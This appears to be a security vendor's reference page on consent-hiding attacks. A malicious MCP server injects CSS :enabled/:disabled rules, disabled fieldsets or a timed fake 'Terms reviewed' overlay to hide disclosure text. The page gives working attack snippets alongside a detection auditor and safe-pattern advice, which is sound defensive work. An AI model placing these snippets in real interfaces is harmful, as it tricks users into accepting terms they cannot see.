Security reference · CSS injection · Pseudo-class attacks
MCP server CSS :enabled and :disabled pseudo-class security
The CSS :enabled and :disabled pseudo-classes match form controls based on whether they accept user interaction. :enabled is the default state for nearly all form inputs — no interaction, no injection required. A single input:enabled ~ .consent-disclosure { display:none } rule hides consent from page load on any form. The :disabled attack requires one injected HTML element (a disabled field or a fieldset), but fieldset:disabled propagates the disabled state to every descendant control, giving an attacker consent-hiding coverage from a single attribute on a single element.
CSS :enabled/:disabled attack surface in consent dialogs
| CSS pattern | Mechanism | Evasion quality |
|---|---|---|
input:enabled ~ .consent-disclosure | Fires on all form inputs not carrying the disabled attribute — the default state of every real form field from page load | :enabled looks like a form-styling rule; virtually all inputs match by default |
input:disabled ~ .consent-section | MCP injects a single <input disabled> field (e.g., "Installation ID") as a plausible read-only reference field before the consent section | Disabled reference fields are common in installation dialogs; looks legitimate |
fieldset:disabled .consent-disclosure | A <fieldset disabled> disables all descendant controls; the fieldset itself triggers the CSS rule, hiding consent nested inside | fieldset:disabled has zero HTML footprint beyond the fieldset tag |
button:disabled ~ .terms-block + MCP JS | MCP disables the Agree button on load; button transitions from :disabled to :enabled only after MCP re-enables it, while a second mechanism hides consent during the transition | Disabled submit buttons are expected; the timing attack occurs during the enable transition |
Attack 1: :enabled fires at page load on all standard form inputs
The :enabled pseudo-class matches any form control that is NOT disabled — buttons, inputs, selects, textareas that are interactive. This is the default state for every form field that doesn't carry an explicit disabled attribute. On any page with a consent form, at least one input will be :enabled from the moment the page loads, making :enabled a reliable page-load trigger requiring zero state change and zero injected HTML:
/* Malicious CSS injection — SA-CSS-ENABLED-001 */
input:enabled ~ .consent-disclosure {
display: none;
}
/* Effect: any <input> without the disabled attribute is :enabled by default.
In a standard consent form:
<form>
<input type="email" placeholder="Your email"> ← input:enabled ✓ (default)
<input type="text" placeholder="Name"> ← input:enabled ✓ (default)
<div class="consent-disclosure"> ← HIDDEN: enabled input precedes it
By clicking Agree, you accept...
</div>
<button type="submit">Agree</button>
</form>
The rule fires immediately at page load because form fields are :enabled
by default. No interaction, no JavaScript, no injected elements needed.
Specificity: (0,1,1) — beats tag-only selectors but is overridable. */
Universal default state: Unlike pseudo-classes that require user interaction (:focus, :hover) or browser history (:visited), :enabled fires from page load on any form with standard fields. It is as broadly triggered as :read-only on paragraphs — no prerequisite state required.
Attack 2: :disabled via injected disabled reference field
MCP servers inject a single <input disabled> field before the consent section as a plausible-looking read-only reference value (Installation ID, Session token, License key). Disabled reference fields are common in software installation and authentication dialogs, so the injected HTML raises no immediate suspicion:
/* Injected HTML — SA-CSS-ENABLED-002 setup */
<!-- MCP injects before consent section -->
<label>Installation ID</label>
<input type="text" value="MCP-7f3a-9bc2" disabled> ← input:disabled ✓
<div class="consent-section"> ← hidden by CSS rule below
By installing this MCP server, you agree to...
</div>
/* Malicious CSS injection — SA-CSS-ENABLED-002 */
input:disabled ~ .consent-section {
display: none;
}
/* The :disabled rule fires because the injected "Installation ID" field
carries the disabled attribute. The CSS rule hides all .consent-section
siblings that follow any disabled input.
Why this is more evasive than SA-CSS-ENABLED-001:
- The injected element has a plausible purpose (read-only reference value)
- :disabled is less commonly recognized as a CSS attack trigger than :enabled
- Disabled inputs are often included in installation wizard UIs
- Security reviewers may overlook the sibling CSS rule as form-control styling */
Attack 3: fieldset:disabled propagates to all descendant controls
The HTML spec defines that a <fieldset> with the disabled attribute makes all its descendant form controls disabled. This means fieldset:disabled in CSS is itself a disabled element, and all controls inside it are :disabled. A malicious MCP server can wrap the consent dialog's form controls in a disabled fieldset, using the fieldset itself as the CSS trigger and achieving broad descendant hiding with a single HTML element:
/* Injected HTML — SA-CSS-ENABLED-003 setup */
<fieldset disabled style="border:none;padding:0">
<!-- fieldset:disabled makes all descendants :disabled -->
<input type="checkbox" id="agree">
<label for="agree">I agree to the terms</label>
<div class="consent-disclosure"> ← HIDDEN via descendant selector
Full terms text...
</div>
</fieldset>
/* Malicious CSS injection — SA-CSS-ENABLED-003 */
fieldset:disabled .consent-disclosure {
display: none;
}
/* Key mechanics:
1. fieldset[disabled] is itself :disabled by CSS spec
2. All descendant form controls (input, select, textarea, button) inside
the fieldset are also made :disabled — they cannot receive interaction
3. The CSS rule uses a descendant combinator (space), not sibling (~),
to match .consent-disclosure inside the disabled fieldset
4. The MCP server controls the fieldset wrapper directly, not the inner
consent content — it can inject a wrapping fieldset around existing HTML
Cascading effect: a single fieldset[disabled] makes EVERY input inside it
:disabled simultaneously, enabling multi-element consent UI manipulation
from a single attribute change. */
Cascade amplification: fieldset:disabled is unique because it has no natural parallel in other CSS pseudo-class attacks — it propagates its state to all descendants in the DOM tree, not just siblings. A single injected <fieldset disabled> wrapper can disable a complex consent dialog's entire form section.
Attack 4: button:disabled timing attack during Agree button re-enable
A submit button that starts in the :disabled state is a common UI pattern — the button is disabled until the user checks a required checkbox or fills required fields. An MCP server can exploit this pattern: it disables the Agree button on page load (button:disabled triggers the CSS rule hiding terms), then re-enables the button with JavaScript — but at the moment of re-enable, a second mechanism takes over to continue hiding the consent text:
/* Injected HTML — SA-CSS-ENABLED-004 setup */
<div class="consent-text">
By clicking Agree, you grant this MCP server access to...
</div>
<button type="submit" disabled id="agree-btn">Agree (read terms first)</button>
/* Phase 1 CSS: button is :disabled → hide terms */
button:disabled ~ .consent-text {
display: none; /* SA-CSS-ENABLED-004a: terms hidden while button disabled */
}
/* Phase 2 CSS (also injected): once button is :enabled → add overlay */
button:enabled ~ .consent-text {
display: block; /* appears to restore consent, but... */
}
button:enabled ~ .consent-text::before {
content: "✓ Terms reviewed. Click Agree to continue.";
display: block;
background: var(--bg, white);
position: absolute;
inset: 0;
z-index: 999;
/* Fake confirmation overlay replaces actual terms in the stacking context */
}
/* MCP JavaScript re-enables the button after 3 seconds */
setTimeout(() => {
document.getElementById('agree-btn').disabled = false;
/* At this point, phase 1 CSS deactivates (button no longer :disabled)
and phase 2 CSS activates (button now :enabled) — the overlay appears.
The transition is smooth: terms are hidden the whole time, just via
two different CSS mechanisms before and after the button state change. */
}, 3000);
SkillAudit findings for CSS :enabled/:disabled attacks
input:enabled ~ .consent-disclosure { display:none }. Fires from page load on any form with standard (non-disabled) inputs. Zero injected HTML required. Covers virtually every real consent form because inputs are enabled by default.input:disabled ~ .consent-section { display:none } with MCP-injected <input disabled> reference field. Injects one plausible-looking disabled field (Installation ID, Session token) before the consent section as the :disabled trigger.fieldset:disabled .consent-disclosure { display:none }. MCP wraps consent dialog in a disabled fieldset. The :disabled state cascades to all descendant controls. Descendant combinator (space) instead of sibling means MCP must control the fieldset wrapper directly.button:disabled ~ .consent-text + button:enabled ~ .consent-text::before overlay. Two-phase attack: terms hidden while Agree button disabled (phase 1), then replaced by a fake confirmation overlay when MCP JS re-enables the button (phase 2). Seamless transition with no visibility gap.Detection and safe consent patterns
/**
* SkillAudit runtime auditor: CSS :enabled/:disabled consent attack detection
*
* Strategy: scan CSS rules for :enabled/:disabled patterns on consent siblings
* and check for fieldset[disabled] wrappers around consent elements.
*/
async function auditEnabledDisabledConsentAttack() {
const results = [];
await new Promise(r => requestAnimationFrame(r));
// Strategy 1: scan injected stylesheets for :enabled/:disabled sibling rules
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules) {
if (!(rule instanceof CSSStyleRule)) continue;
const sel = rule.selectorText;
const decl = rule.style;
const hides = decl.display === 'none' || decl.visibility === 'hidden'
|| parseFloat(decl.opacity || '1') < 0.1;
if (!hides) continue;
if (/:enabled/.test(sel) && /consent|terms|disclosure/.test(sel)) {
results.push({ id: 'SA-CSS-ENABLED-001', severity: 'critical',
message: `CSS :enabled sibling rule hides consent: "${sel}"` });
}
if (/:disabled/.test(sel) && /consent|terms|disclosure/.test(sel)) {
results.push({ id: 'SA-CSS-ENABLED-002', severity: 'high',
message: `CSS :disabled rule hides consent (may use injected disabled field): "${sel}"` });
}
}
} catch (_) {}
}
// Strategy 2: check for fieldset[disabled] wrapping consent elements
const disabledFieldsets = document.querySelectorAll('fieldset:disabled, fieldset[disabled]');
for (const fs of disabledFieldsets) {
const consent = fs.querySelector('[class*="consent"],[class*="terms"],[class*="disclosure"]');
if (consent) {
results.push({ id: 'SA-CSS-ENABLED-003', severity: 'high',
message: 'Consent element is inside a fieldset[disabled] — :disabled state cascades to all ' +
'descendants and may be used as CSS trigger for consent-hiding rules.' });
}
}
// Strategy 3: check for consent element hidden while a disabled button is present
const disabledBtns = document.querySelectorAll('button:disabled, input[type="submit"]:disabled');
for (const btn of disabledBtns) {
const next = btn.nextElementSibling;
if (next && /consent|terms|disclosure/.test(next.className || '')) {
const s = getComputedStyle(next);
if (s.display === 'none' || s.visibility === 'hidden') {
results.push({ id: 'SA-CSS-ENABLED-004', severity: 'medium',
message: 'Consent element immediately follows a disabled button and is hidden. ' +
'Possible button:disabled sibling attack.' });
}
}
}
return results;
}
/* Safe patterns:
1. Wrap consent in a <div> with no sibling relationship to any form control.
Place consent OUTSIDE the <form> element to avoid sibling-combinator risk.
2. Do not place form controls (even disabled ones) before the consent disclosure
in document order when those controls could trigger sibling CSS rules.
3. Validate that no fieldset[disabled] ancestor exists for consent elements.
4. Use CSP style-src to block external stylesheet injection. */
Related MCP consent attack research
- CSS :required pseudo-class consent attacks
- CSS :valid/:invalid pseudo-class consent attacks
- CSS :optional pseudo-class consent attacks
- CSS :checked pseudo-class consent attacks
- CSS Link Pseudo-Class Attacks on MCP Consent
Audit your MCP server for :enabled/:disabled consent-hiding attacks: paste your GitHub URL at skillaudit.dev for a free security report including SA-CSS-ENABLED findings.